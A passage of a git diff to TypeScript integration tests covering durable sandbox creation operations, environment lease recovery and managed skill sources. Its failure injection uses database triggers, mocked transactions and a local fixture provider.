it } from "vitest"; import { agents, companies, createDb, heartbeatRuns } from "@paperclipai/db"; import { companySkillRoutes } from "../routes/company-skills.js"; +import { companySkillService } from "../services/company-skills.js"; import { agentRoutes } from "../routes/agents.js"; import { errorHandler } from "../middleware/error-handler.js"; import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; @@ -71,17 +72,20 @@ if (!support.supported) console.warn(`Planning fixture API calibration skipped: const selected = await selectPlanSkills(api, companyId, agentId, sources); const invocations = planInvocations(sources, selected); const contextSkills = []; - for (const source of sources.filter(s => s.selected)) { + await companySkillService(db).withRuntimeSkillEntries(companyId, { + onlyKeys: new Set(sources.filter(source => source.selected).map(source => source.key)), snapshotLatest: true, + }, async entries => { for (const source of sources.filter(s => s.selected)) { const entry = (selected as any).entries.find((e: any) => e.key === source.key && e.desired); - const bytes = await readFile(path.join(entry.sourcePath, "SKILL.md")); + const delivered = entries.find(candidate => candidate.key === source.key)!; + const bytes = await readFile(path.join(delivered.source, "SKILL.md")); expect(planHash(bytes)).toBe(source.sha256); - const mode = (await stat(path.join(entry.sourcePath, "SKILL.md"))).mode & 0o555; + const mode = (await stat(path.join(delivered.source, "SKILL.md"))).mode & 0o555; expect(mode).toBe(0o444); const digest = planHash(JSON.stringify([{ path: "SKILL.md", sha256: planHash(bytes), mode, size: bytes.length }])); expect(invocations.find(i => i.name === entry.runtimeName)?.assetDigest).toBe(digest); contextSkills.push({ key: source.key, runtimeName: entry.runtimeName, versionId: entry.currentVersionId, bundle: { rootPath: path.join(root, "runtime-context-assets/bundles", digest) } }); - } + } }); const context = { skills: contextSkills } as NativeRuntimeContextSnapshot; const inputs = nativeTaskSkillInputs(planInvocationPrompt("Business task", invocations), context); expect(inputs).toHaveLength(variant === "disabled" ? 0 : 2); diff --git a/server/src/__tests__/plugin-managed-skills.test.ts b/server/src/__tests__/plugin-managed-skills.test.ts index 954d6cb182f..4005234dfe5 100644 --- a/server/src/__tests__/plugin-managed-skills.test.ts +++ b/server/src/__tests__/plugin-managed-skills.test.ts @@ -123,7 +123,8 @@ describeEmbeddedPostgres("plugin-managed skills", () => { name: "plugin-managed-skills-test-wiki-maintainer", slug: "plugin-managed-skills-test-wiki-maintainer", key: "plugin/paperclip-managed-skills-test/wiki-maintainer", - sourceType: "catalog", + sourceType: "managed", + sourceLocator: null, fileInventory: expect.arrayContaining([ expect.objectContaining({ path: "SKILL.md", kind: "skill" }), expect.objectContaining({ path: "references/wiki-style.md", kind: "reference" }), diff --git a/server/src/__tests__/plugin-warm-tasks.integration.test.ts b/server/src/__tests__/plugin-warm-tasks.integration.test.ts index 6eb396b259e..f369988fca1 100644 --- a/server/src/__tests__/plugin-warm-tasks.integration.test.ts +++ b/server/src/__tests__/plugin-warm-tasks.integration.test.ts @@ -1,11 +1,13 @@ -import { flushDeferredEnvironmentCleanup, hasDeferredEnvironmentCleanup, registerDeferredEnvironmentCleanup, subscribeDeferredEnvironmentCleanup } from "../services/environment-cleanup-notifications.js"; import { resolveExternalTestDatabaseUrl } from "./helpers/external-test-database.js"; +import { mkdtemp, readdir, rm } from "node:fs/promises"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; import { randomUUID } from "node:crypto"; import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; -import { eq } from "drizzle-orm"; -import { agents, companies, createDb, applyPendingMigrations, environmentLeases, environments, heartbeatRuns, issues, plugins, projects } from "@paperclipai/db"; +import { eq, sql } from "drizzle-orm"; +import { agents, companies, createDb, applyPendingMigrations, environmentLeases, environments, heartbeatRuns, issues, plugins, projects, sandboxCreationOperations } from "@paperclipai/db"; import { environmentRuntimeService } from "../services/environment-runtime.js"; -import * as orphanCleanup from "../services/sandbox-orphan-cleanup-spool.js"; +import { recordSandboxCreationResource } from "../services/sandbox-creation-operations.js"; import { resolvePluginTaskResume } from "../services/environment-task-runtime.js"; import type { PluginWorkerManager } from "../services/plugin-worker-manager.js"; import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; @@ -51,7 +53,7 @@ const support=external ? {supported:true} : await getEmbeddedPostgresTestSupport if(p.operation.kind==="describe") return {kind:"description",taskId:p.taskId,runner:{version:"fixture",digest:`sha256:${"a".repeat(64)}`},warmTaskVersion:1}; return {kind:"accepted",taskId:p.taskId}; }} as unknown as PluginWorkerManager; - const runtime=()=>environmentRuntimeService(db,{pluginWorkerManager:workers}); + const runtime=(orphanCleanupSpoolDir?:string)=>environmentRuntimeService(db,{pluginWorkerManager:workers,orphanCleanupSpoolDir}); const acquire=()=>runtime().acquireRunLease({companyId,environment:environment as never,issueId,agentId,heartbeatRunId:runId,persistedExecutionWorkspace:null,adapterType:"paperclip_runner",runnerTaskProjectIds:projectIds,requestedExpiresAt:deadline}); const first=await acquire(); const identity={runnerInstanceId:"runner",environmentLeaseId:first.lease.id,runId,normalizedSessionId:"session",turnId:"turn",itemId:"item"}; @@ -126,58 +128,64 @@ const support=external ? {supported:true} : await getEmbeddedPostgresTestSupport await expect(resolvePluginTaskResume(db,{companyId:f.companyId,leaseId:next.lease.id,priorIdentity:f.identity})).resolves.toBe(f.first.lease.providerLeaseId); }); - it.each(["ownership-lost","database-error","cleanup-error","spool"] as const)("compensates an unowned replacement task: %s",async mode=>{ + it.each(["ownership-lost","database-error"] as const)("retains a durable operation for an unattached replacement task: %s",async mode=>{ const f=await fixture();await f.nextRun();const next=await f.acquire();f.stopped(); - if(mode==="cleanup-error" || mode==="spool") f.failRelease(); - const append=vi.fn(async()=>true); - let delayFlush=false,flushCalls=0,releaseFlush!:()=>void; - const flushGate=new Promise(resolve=>{releaseFlush=resolve;}); - const stopGate=mode==="spool" ? registerDeferredEnvironmentCleanup(db,async()=>{ - if(delayFlush && ++flushCalls===1) await flushGate; - return {recovered:0,pending:0}; - }) : undefined; - const wake=vi.fn(); - const unsubscribe=subscribeDeferredEnvironmentCleanup(db,wake); - const spool=mode==="spool" ? vi.spyOn(orphanCleanup,"createSandboxOrphanCleanupSpool").mockReturnValue({append,load:async()=>[],remove:async()=>{}}) : undefined; - let replacementFailed=false; - const transact=db.transaction.bind(db); - const transaction=mode==="spool" ? vi.spyOn(db,"transaction").mockImplementation((...args)=>replacementFailed - ? Promise.reject(Error("database unavailable")) : transact(...args)) : undefined; - const original=db.update.bind(db); - const update=vi.spyOn(db,"update").mockImplementation(((table:any)=>{ - const query=original(table),set=query.set.bind(query); - query.set=((values:any)=>values.providerLeaseId === "task-2" - ? {where:()=>({returning:async()=>{replacementFailed=true;if(mode!=="ownership-lost") throw Error("replacement write failed");return [];}})} - : set(values)) as never; - return query; - }) as never); + const disk=await mkdtemp(join(tmpdir(),"replacement-intent-")); + const runtime=()=>f.runtime(disk); + await db.execute(sql.raw(`create or replace function reject_task_replacement() returns trigger language plpgsql as $$ begin + if new.provider_lease_id = 'task-2' then ${mode === "ownership-lost" ? "return null;" : "raise exception 'replacement write failed';"} end if; return new; end $$`)); + await db.execute(sql`create trigger reject_task_replacement before update on environment_leases for each row execute function reject_task_replacement()`); try { - await expect(f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})) - .rejects.toThrow("reconcile the same task"); - if(mode==="spool") { - expect(wake).toHaveBeenCalledOnce(); - expect(hasDeferredEnvironmentCleanup(db)).toBe(true); - await expect(flushDeferredEnvironmentCleanup(db)).rejects.toThrow("Deferred orphan cleanup failed"); - expect(hasDeferredEnvironmentCleanup(db)).toBe(true); - } - } finally {update.mockRestore();transaction?.mockRestore();spool?.mockRestore();unsubscribe();} - expect(f.calls).toContain("environmentReleaseLease"); - if(mode==="spool") expect(append).toHaveBeenCalledWith(expect.objectContaining({providerLeaseId:"task-2",metadata:expect.objectContaining({driver:"plugin",runnerTaskDispatched:false})})); - const rows=await db.select().from(environmentLeases).where(eq(environmentLeases.companyId,f.companyId)); - expect(rows.filter(row=>row.providerLeaseId === "task-2")).toEqual(mode==="cleanup-error" - ? [expect.objectContaining({status:"pending_cleanup",failureReason:"plugin_task_replacement_unowned",metadata:expect.objectContaining({runnerTaskDispatched:false})})] : []); - if(mode==="spool") { - delayFlush=true; - const delayed=flushDeferredEnvironmentCleanup(db); - try { expect(await flushDeferredEnvironmentCleanup(db)).toEqual({recovered:1,pending:0}); } - finally { releaseFlush(); stopGate!(); } - expect(await delayed).toEqual({recovered:1,pending:0}); - expect(hasDeferredEnvironmentCleanup(db)).toBe(false); - const recovered=await db.select().from(environmentLeases).where(eq(environmentLeases.companyId,f.companyId)); - expect(recovered.filter(row=>row.providerLeaseId==="task-2")).toEqual([ - expect.objectContaining({status:"pending_cleanup",failureReason:"plugin_task_replacement_unowned"}), - ]); - } + await expect(runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).rejects.toThrow("reconcile the same task"); + } finally { await db.execute(sql`drop trigger reject_task_replacement on environment_leases`); } + expect(f.calls).not.toContain("environmentReleaseLease"); + const [lease]=await db.select().from(environmentLeases).where(eq(environmentLeases.id,next.lease.id)); + expect(lease.providerLeaseId).toBe(next.lease.providerLeaseId); + const operations=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId,f.companyId)); + const pending=operations.filter(row=>row.state === "pending"); + expect(pending).toHaveLength(1);expect(pending[0].requestKey).toBe(next.lease.providerLeaseId); + expect(pending[0].metadata.creationProviderLeaseId).toBe("task-2");expect(pending[0].config).toEqual({}); + expect(f.acquireRequests.at(-1)?.creationOperationId).toBe(pending[0].id); + const creates=f.acquireRequests.length; + await expect(runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).rejects.toThrow("reconcile the same task"); + expect(f.acquireRequests).toHaveLength(creates); + await db.update(sandboxCreationOperations).set({nextAttemptAt:new Date(0)}).where(eq(sandboxCreationOperations.id,pending[0].id)); + await runtime().flushDeferredOrphanCleanups(); + const [manual]=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.id,pending[0].id)); + expect(manual.state).toBe("needs_reconciliation");expect(manual.metadata.creationProviderLeaseId).toBe("task-2"); + await runtime().flushDeferredOrphanCleanups();expect(f.acquireRequests).toHaveLength(creates); + expect(f.calls).not.toContain("environmentReleaseLease"); + expect(await readdir(disk)).toEqual([]); + await rm(disk,{recursive:true,force:true}); + }); + + it("retains the known replacement identity after a committed attachment response is lost",async()=>{ + const f=await fixture();await f.nextRun();const next=await f.acquire();f.stopped(); + const transaction=db.transaction.bind(db);let lost=false; + const response=vi.spyOn(db,"transaction").mockImplementation((async(...args:any[])=>{ + const result=await (transaction as any)(...args); + if(!lost && result?.providerLeaseId === "task-2") {lost=true;throw new Error("Attachment commit response lost");} + return result; + }) as typeof db.transaction); + try { + await expect(f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).rejects.toThrow("reconcile the same task"); + } finally {response.mockRestore();} + expect(lost).toBe(true); + const operations=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId,f.companyId)); + const replacement=operations.find(operation=>operation.requestKey === next.lease.providerLeaseId)!; + expect(replacement).toMatchObject({state:"attached",leaseId:next.lease.id,metadata:{creationProviderLeaseId:"task-2"}}); + const identity={id:replacement.id,companyId:f.companyId,environmentId:replacement.originalEnvironmentId,providerLeaseId:"task-2"}; + await recordSandboxCreationResource(db,identity); + await expect(recordSandboxCreationResource(db,{...identity,providerLeaseId:"different-resource"})).rejects.toThrow("identity changed"); + await expect(recordSandboxCreationResource(db,{...identity,companyId:randomUUID()})).rejects.toThrow("identity changed"); + expect((await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.id,replacement.id)))[0]) + .toMatchObject({state:"attached",metadata:{creationProviderLeaseId:"task-2"}}); + const [saved]=await db.select().from(environmentLeases).where(eq(environmentLeases.id,next.lease.id)); + expect(saved).toMatchObject({providerLeaseId:"task-2",status:"active"}); + await db.update(sandboxCreationOperations).set({nextAttemptAt:new Date(0)}).where(eq(sandboxCreationOperations.id,replacement.id)); + await f.runtime().flushDeferredOrphanCleanups(); + expect((await f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).taskId).toBe("task-2"); + expect(f.acquireRequests).toHaveLength(2);expect(f.calls).not.toContain("environmentReleaseLease"); }); it.each(["added","removed"] as const)("retires retained mounts when an authorized project is %s after controller restart",async mode=>{ @@ -203,7 +211,9 @@ const support=external ? {supported:true} : await getEmbeddedPostgresTestSupport const replacing=f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}}); if(["violating","missing-bounded","invalid","expired"].includes(mode)) { await expect(replacing).rejects.toThrow("reconcile the same task"); - expect(f.calls).toContain("environmentReleaseLease"); + expect(f.calls).not.toContain("environmentReleaseLease"); + const operations=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId,f.companyId)); + expect(operations.filter(row=>row.state === "pending")).toHaveLength(1); } else { const description=await replacing; const [saved]=await db.select().from(environmentLeases).where(eq(environmentLeases.id,next.lease.id)); diff --git a/server/src/__tests__/project-skill-sources.test.ts b/server/src/__tests__/project-skill-sources.test.ts index ed8e6c4f4d9..681b7183e32 100644 --- a/server/src/__tests__/project-skill-sources.test.ts +++ b/server/src/__tests__/project-skill-sources.test.ts @@ -576,7 +576,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => { expect(await skills.getById(companyId, fork.skill.id)).not.toBeNull(); let retainedVersionId = original.currentVersionId; if (choice === 'copy') { - expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'local_path', accessSourceId: source.id }); + expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'managed', sourceLocator: null, accessSourceId: source.id }); expect((await skills.readFile(companyId, original.id, '.paperclip-repository/private/SKILL.md'))?.content).toBe(md('retained private workflow')); expect((await skills.readFile(companyId, original.id, 'SKILL.md'))?.content).toContain('.paperclip-repository/private/SKILL.md'); await skills.updateFile(companyId, original.id, 'SKILL.md', md('Private copy edits') + '\nConfidential original-project notes.\n'); @@ -605,7 +605,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => { expect(restored.lastError).toBeNull(); expect(restored.entries.filter(entry => entry.skillId)).toHaveLength(1); expect(restored.entries[0]!.skillId).not.toBe(original.id); - if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'local_path', currentVersionId: retainedVersionId }); + if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'managed', currentVersionId: retainedVersionId }); const readerId = randomUUID(); await db.insert(authUsers).values({ id: readerId, name: 'Open project reader', email: `${readerId}@example.test`, createdAt: new Date(), updatedAt: new Date() }); await db.insert(companyMemberships).values({ companyId, principalType: 'user', principalId: readerId, membershipRole: 'member', status: 'active' }); diff --git a/server/src/__tests__/sandbox-creation-operations.test.ts b/server/src/__tests__/sandbox-creation-operations.test.ts new file mode 100644 index 00000000000..7c5c1924ecb --- /dev/null +++ b/server/src/__tests__/sandbox-creation-operations.test.ts @@ -0,0 +1,333 @@ +import { execFile } from "node:child_process"; +import { createServer } from "node:http"; +import { promisify } from "node:util"; +import { fileURLToPath } from "node:url"; +import { randomUUID } from "node:crypto"; +import { mkdtemp, readFile, readdir, rm } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { eq, sql } from "drizzle-orm"; +import { agents, builtInManagedResources, companies, companySecretVersions, createDb, environmentLeases, environments, heartbeatRuns, plugins, sandboxCreationOperations } from "@paperclipai/db"; +import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; +import { environmentRuntimeService } from "../services/environment-runtime.js"; +import { environmentService } from "../services/environments.js"; +import { HttpError } from "../errors.js"; +import * as secretOwner from "../services/secrets.js"; +import { readIdleSleepSafety } from "../services/idle-sleep-safety.js"; +import { nextEnvironmentCleanupAt } from "../services/environment-cleanup-state.js"; +import type { PluginWorkerManager } from "../services/plugin-worker-manager.js"; + +describe("durable sandbox creation through the runtime entry point", () => { + let database: Awaited>; + let db: ReturnType; + let companyId: string, environmentId: string, pluginId: string, runId: string, spool: string; + let creates: number, destroys: number, loseReply: boolean, failDestroy: boolean; + let beforeReply: (() => Promise) | undefined; + const resources = new Map(); + let workers: PluginWorkerManager; + beforeAll(async () => { + database = await startEmbeddedPostgresTestDatabase("sandbox-creation-operations-"); + db = createDb(database.connectionString); + }, 90_000); + beforeEach(async () => { + await db.execute(sql`truncate sandbox_creation_operations, companies, environments, plugins cascade`); + companyId = randomUUID(); environmentId = randomUUID(); pluginId = randomUUID(); runId = randomUUID(); + const agentId = randomUUID(); creates = 0; destroys = 0; loseReply = false; failDestroy = false; beforeReply = undefined; resources.clear(); + spool = await mkdtemp(join(tmpdir(), "empty-sandbox-web-")); + await db.insert(companies).values({ id: companyId, name: "Creation fixture", issuePrefix: "CRT" }); + await db.insert(agents).values({ id: agentId, companyId, name: "Fixture", role: "engineer", adapterType: "codex_local" }); + await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, status: "running", invocationSource: "manual" }); + await db.insert(environments).values({ id: environmentId, name: environmentId, driver: "sandbox", config: { provider: "creation-fixture", image: "fixture", reuseLease: false } }); + await db.insert(plugins).values({ id: pluginId, pluginKey: "paperclip.creation-fixture", packageName: "creation-fixture", version: "1.0.0", apiVersion: 1, + status: "ready", categories: ["automation"], manifestJson: { id: "paperclip.creation-fixture", version: "1.0.0", apiVersion: 1, + displayName: "Creation fixture", description: "Controlled remote provider", author: "Paperclip", categories: ["automation"], + capabilities: ["environment.drivers.register"], entrypoints: { worker: "fixture.js" }, environmentDrivers: [{ + driverKey: "creation-fixture", kind: "sandbox_provider", displayName: "Fixture", creationOperationVersion: 1, configSchema: { type: "object" }, + }] } }); + workers = { + isRunning: () => true, + getWorker: () => ({ supportedMethods: ["environmentAcquireLease", "environmentInspectLease", "environmentDestroyLease"] }), + call: vi.fn(async (_pluginId: string, method: string, input: any) => { + if (method === "environmentAcquireLease") { + expect(await db.select().from(sandboxCreationOperations)).toContainEqual(expect.objectContaining({ id: input.creationOperationId, state: "pending" })); + creates++; + const resource = `provider-${input.creationOperationId}`; + resources.set(input.creationOperationId, resource); + await beforeReply?.(); + if (loseReply) throw new Error("Lost provider reply"); + return { providerLeaseId: resource, metadata: { remoteCwd: "/workspace" } }; + } + if (method === "environmentInspectLease") { + const id = input.creationOperation.id; + const resource = resources.get(id); + if (!resource) return { providerLeaseId: id, state: "unknown" }; + return { providerLeaseId: resource, state: "active", creationCleanup: { providerLeaseId: resource, + observedProviderLeaseId: resource, companyId, environmentId, runId: input.creationOperation.runId, attemptId: id, + accountFingerprint: "a".repeat(64), labels: { "paperclip-create-attempt": id } } }; + } + if (method === "environmentDestroyLease") { + destroys++; + if (failDestroy) throw new Error("Fixture teardown failed"); + resources.delete(input.leaseMetadata.creationOperationId); + return { providerLeaseId: input.providerLeaseId, state: "destroyed" }; + } + throw new Error(`Unexpected fixture method ${method}`); + }), + } as unknown as PluginWorkerManager; + }); + afterEach(async () => { + await db.execute(sql`drop trigger if exists reject_fixture_lease on environment_leases`); + await db.execute(sql`drop trigger if exists reject_fixture_creation on sandbox_creation_operations`); + await rm(spool, { recursive: true, force: true }); + }); + afterAll(async () => { await db?.$client.end({ timeout: 1 }); await database?.cleanup(); }); + function runtime() { return environmentRuntimeService(db, { pluginWorkerManager: workers, orphanCleanupSpoolDir: spool }); } + async function acquire() { + return runtime().acquireRunLease({ companyId, environment: (await environmentService(db).getById(environmentId))!, + heartbeatRunId: runId, issueId: null, persistedExecutionWorkspace: null, assertCompanyBinding: true }); + } + async function due() { await db.update(sandboxCreationOperations).set({ nextAttemptAt: new Date(0) }); } + async function rejectWrites(table: "environment_leases" | "sandbox_creation_operations", trigger: string) { + await db.execute(sql`create or replace function reject_fixture_write() returns trigger language plpgsql as $$ begin raise exception 'Fixture database write unavailable'; end $$`); + await db.execute(sql.raw(`create trigger ${trigger} before insert on ${table} for each row execute function reject_fixture_write()`)); + } + it("can reapply the creation migration without losing a committed intent", async () => { + loseReply = true; await expect(acquire()).rejects.toThrow("Lost provider reply"); + const [before] = await db.select().from(sandboxCreationOperations); + const migration = await readFile(new URL("../../../packages/db/src/migrations/0418_curved_lady_mastermind.sql", import.meta.url), "utf8"); + for (let attempt = 0; attempt < 2; attempt++) { + for (const statement of migration.split("--> statement-breakpoint").map(value => value.trim()).filter(Boolean)) { + await db.execute(sql.raw(statement)); + } + } + expect(await db.select().from(sandboxCreationOperations)).toEqual([before]); + expect(creates).toBe(1); + }); + it("fails before the external action when the durable admission write fails", async () => { + await rejectWrites("sandbox_creation_operations", "reject_fixture_creation"); + await expect(acquire()).rejects.toThrow(); + expect(creates).toBe(0); expect(resources.size).toBe(0); expect(await readdir(spool)).toEqual([]); + }); + it("attaches once and reuses the committed transfer after a lost response", async () => { + const first = await acquire(); + const retry = await acquire(); + expect(retry.lease.id).toBe(first.lease.id); expect(creates).toBe(1); expect(destroys).toBe(0); + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(environmentLeases)).toHaveLength(1); + expect(await nextEnvironmentCleanupAt(db)).toBeNull(); + }); + it("recovers a failed lease write with a fresh receiver and empty web disk", async () => { + await rejectWrites("environment_leases", "reject_fixture_lease"); + await expect(acquire()).rejects.toThrow(); + expect(creates).toBe(1); expect(await readdir(spool)).toEqual([]); + expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "pending" })]); + await db.execute(sql`drop trigger reject_fixture_lease on environment_leases`); + await due(); + await Promise.all([runtime().flushDeferredOrphanCleanups(), runtime().flushDeferredOrphanCleanups()]); + const leases = await db.select().from(environmentLeases); + expect(leases).toEqual([expect.objectContaining({ status: "pending_cleanup", providerLeaseId: [...resources.values()][0] })]); + expect(creates).toBe(1); + failDestroy = true; + await expect(runtime().retryPendingSandboxTeardown({ environment: null, lease: (await environmentService(db).getLeaseById(leases[0]!.id))! })).rejects.toThrow("Fixture teardown failed"); + expect(resources.size).toBe(1); + failDestroy = false; + await runtime().retryPendingSandboxTeardown({ environment: null, lease: (await environmentService(db).getLeaseById(leases[0]!.id))! }); + expect(resources.size).toBe(0); expect(destroys).toBe(2); + }); + it("reconstructs ownership in a replacement receiver process with a different empty web disk", async () => { + const provider = createServer(async (request, response) => { + try { + let body = ""; for await (const chunk of request) body += chunk.toString(); + const { method, input } = JSON.parse(body); + response.setHeader("content-type", "application/json"); + response.end(JSON.stringify(await (workers.call as any)(pluginId, method, input))); + } catch { response.statusCode = 500; response.end("{}"); } + }); + await new Promise(resolve => provider.listen(0, "127.0.0.1", resolve)); + const address = provider.address() as { port: number }; + const replacementDisk = await mkdtemp(join(tmpdir(), "replacement-sandbox-web-")); + const fixture = fileURLToPath(new URL("./fixtures/sandbox-creation-receiver.ts", import.meta.url)); + async function receiver(action: string, disk: string) { + const result = await promisify(execFile)(process.execPath, ["--import", fileURLToPath(import.meta.resolve("tsx")), fixture], { + cwd: fileURLToPath(new URL("../../..", import.meta.url)), timeout: 60_000, + env: { ...process.env, CREATION_FIXTURE_ACTION: action, CREATION_FIXTURE_EMPTY_DISK: disk, + CREATION_FIXTURE_DATABASE_URL: database.connectionString, CREATION_FIXTURE_PROVIDER_URL: `http://127.0.0.1:${address.port}`, + CREATION_FIXTURE_COMPANY_ID: companyId, CREATION_FIXTURE_ENVIRONMENT_ID: environmentId, CREATION_FIXTURE_RUN_ID: runId }, + }); + return result.stdout; + } + try { + await rejectWrites("environment_leases", "reject_fixture_lease"); + expect(await receiver("acquire", spool)).toContain('"ok":false'); + expect(creates).toBe(1); expect(resources.size).toBe(1); expect(await readdir(spool)).toEqual([]); + await db.execute(sql`drop trigger reject_fixture_lease on environment_leases`); + await due(); + expect(await receiver("recover", replacementDisk)).toContain('"ok":true'); + expect(await receiver("recover", replacementDisk)).toContain('"ok":true'); + expect(await db.select().from(environmentLeases)).toEqual([ + expect.objectContaining({ status: "pending_cleanup", providerLeaseId: [...resources.values()][0] }), + ]); + expect(creates).toBe(1); expect(await readdir(replacementDisk)).toEqual([]); + } finally { + await new Promise((resolve, reject) => provider.close(error => error ? reject(error) : resolve())); + await rm(replacementDisk, { recursive: true, force: true }); + } + }, 180_000); + it("never repeats creation after a lost provider reply", async () => { + loseReply = true; + await expect(acquire()).rejects.toThrow("Lost provider reply"); + await expect(acquire()).rejects.toThrow("requires reconciliation"); + expect(creates).toBe(1); + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ status: "pending_cleanup" })]); + }); + it("retains cleanup ownership when the environment is deleted during creation", async () => { + beforeReply = async () => { await environmentService(db).remove(environmentId); }; + await expect(acquire()).rejects.toThrow(); + expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ environmentId: null, originalEnvironmentId: environmentId, state: "pending" })]); + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ environmentId: null, status: "pending_cleanup" })]); + }); + it("rejects attachment after a company rebind and retains cleanup", async () => { + beforeReply = async () => { + const foreign = randomUUID(); await db.insert(companies).values({ id: foreign, name: "Foreign", issuePrefix: "FOR" }); + await db.insert(builtInManagedResources).values({ companyId: foreign, bundleKey: "managed-environment", resourceKind: "environment", + resourceKey: "sandbox", resourceId: environmentId, stockVersion: "1", stockHash: "fixture" }); + }; + await expect(acquire()).rejects.toMatchObject({ status: 403 }); + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ companyId, status: "pending_cleanup" })]); + }); + it("backs off a failed lookup and recovers unrelated creations in the same pass", async () => { + loseReply = true; await expect(acquire()).rejects.toThrow("Lost provider reply"); + const [first] = await db.select().from(sandboxCreationOperations); + const [run] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, runId)); + runId = randomUUID(); await db.insert(heartbeatRuns).values({ ...run!, id: runId }); + await expect(acquire()).rejects.toThrow("Lost provider reply"); + const originalCall = workers.call; + (workers as any).call = vi.fn(async (plugin: string, method: string, params: any, timeout: any) => { + if (method === "environmentInspectLease" && params.creationOperation.id === first!.id) throw new Error("Transient fixture lookup"); + return originalCall(plugin, method as any, params, timeout); + }); + await due(); await runtime().flushDeferredOrphanCleanups(); + const rows = await db.select().from(sandboxCreationOperations); + expect(rows.find(value => value.id === first!.id)).toMatchObject({ state: "pending" }); + expect(rows.find(value => value.id === first!.id)!.nextAttemptAt.getTime()).toBeGreaterThan(Date.now()); + expect(rows.filter(value => value.state === "cleanup_pending")).toHaveLength(1); + }); + it("does not attach a sandbox to a run stopped during creation", async () => { + beforeReply = async () => { await db.update(heartbeatRuns).set({ status: "cancelled" }).where(eq(heartbeatRuns.id, runId)); }; + await expect(acquire()).rejects.toThrow("run authority changed"); + expect(await db.select().from(environmentLeases)).toHaveLength(0); + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ status: "pending_cleanup" })]); + }); + it.each(["before lookup", "during lookup", "lookup fails after deletion"])("records manual reconciliation when the company is deleted %s", async (deletion) => { + loseReply = true; await expect(acquire()).rejects.toThrow("Lost provider reply"); + async function deleteCompany() { + await db.delete(heartbeatRuns).where(eq(heartbeatRuns.companyId, companyId)); + await db.delete(agents).where(eq(agents.companyId, companyId)); + await db.delete(companies).where(eq(companies.id, companyId)); + } + if (deletion === "before lookup") await deleteCompany(); + const originalCall = workers.call; + const calls = vi.fn(async (plugin: string, method: string, params: any, timeout: any) => { + if (method === "environmentInspectLease" && deletion !== "before lookup") { + await deleteCompany(); + if (deletion === "lookup fails after deletion") throw new Error("Company credential no longer exists"); + } + return originalCall(plugin, method as any, params, timeout); + }); + (workers as any).call = calls; + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(sandboxCreationOperations)).toEqual([ + expect.objectContaining({ companyId, state: "needs_reconciliation", metadata: expect.objectContaining({ creationReconciliationReason: "company_deleted" }) }), + ]); + expect(await db.select().from(environmentLeases)).toEqual([]); + expect(calls.mock.calls.filter(value => value[1] === "environmentInspectLease")).toHaveLength(deletion === "before lookup" ? 0 : 1); + const count = calls.mock.calls.length; + await runtime().flushDeferredOrphanCleanups(); await runtime().flushDeferredOrphanCleanups(); + expect(calls).toHaveBeenCalledTimes(count); + expect(await nextEnvironmentCleanupAt(db)).toBeNull(); expect(creates).toBe(1); + expect(await readdir(spool)).toEqual([]); + }); + async function savedCreationCredential(providerConfigId?: string) { + const secrets = secretOwner.secretService(db); + const secret = await secrets.create(companyId, { + name: `creation-key-${randomUUID()}`, provider: "local_encrypted", providerConfigId, value: "fixture-private-key", + }); + await secrets.createBinding({ companyId, secretId: secret.id, targetType: "environment", targetId: environmentId, configPath: "apiKey" }); + await db.update(plugins).set({ manifestJson: sql`jsonb_set(${plugins.manifestJson}, '{environmentDrivers,0,configSchema}', + '{"type":"object","properties":{"apiKey":{"type":"string","format":"secret-ref"}}}'::jsonb)` }).where(eq(plugins.id, pluginId)); + await db.update(environments).set({ config: { provider: "creation-fixture", image: "fixture", reuseLease: false, apiKey: secret.id } }) + .where(eq(environments.id, environmentId)); + loseReply = true; + await expect(acquire()).rejects.toThrow("Lost provider reply"); + return secret; + } + it.each(["deleted", "disabled", "archived", "version-disabled", "vault-disabled", "vault-coming-soon"] as const)( + "retains a %s creation credential as quiet manual reconciliation across restart", async state => { + const secrets = secretOwner.secretService(db); + const vault = state.startsWith("vault-") ? await secrets.createProviderConfig(companyId, { + provider: "local_encrypted", displayName: "Creation vault", status: 